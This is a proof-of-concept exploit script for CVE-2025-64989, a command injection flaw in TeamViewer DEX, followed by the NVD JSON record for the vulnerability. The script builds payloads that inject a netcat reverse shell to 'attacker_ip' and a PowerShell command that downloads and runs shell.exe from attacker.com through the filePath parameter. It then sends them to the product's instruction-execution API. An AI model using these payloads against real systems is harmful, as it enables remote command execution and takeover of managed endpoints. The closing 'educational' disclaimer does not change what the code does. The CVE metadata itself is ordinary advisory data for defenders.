CVE-2025-64989

// CVE-2025-64989 PoC - TeamViewer DEX Command Injection // Target: 1E-Explorer-TachyonCore-FindFileBySizeAndHash instruction // Version: < V21.1 // Prerequisites: Valid credentials with Actioner privileges // Malicious payload construction for FindFileBySizeAndHash instruction const maliciousPayload = { instruction: "FindFileBySizeAndHash", parameters: { fileHash: "normal_hash_value", fileSize: 1024, // Command injection via file path parameter filePath: "; nc -e /bin/bash attacker_ip 4444; #" } }; // Alternative payload for Windows targets const windowsPayload = { instruction: "FindFileBySizeAndHash", parameters: { fileHash: "test_hash", fileSize: 2048, // Windows command injection filePath: "test.txt & powershell -c \"Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe; Start-Process C:\\temp\\shell.exe\"" } }; // Send malicious request to Tachyon Core server async function exploit(targetUrl, sessionToken) { const response = await fetch(`${targetUrl}/api/instruction/execute`, { method: 'POST', headers: { 'Authorization': `Bearer ${sessionToken}`, 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); return response.json(); } // Note: This PoC is for educational and authorized testing purposes only

{"cve": {"id": "CVE-2025-64989", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.790", "lastModified": "2026-01-14T20:17:34.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-FindFileBySizeAndHash instruction prior V21.1. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.1", "matchCriteriaId": "724453BA-B90B-4250-93F4-06B38FB28925"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}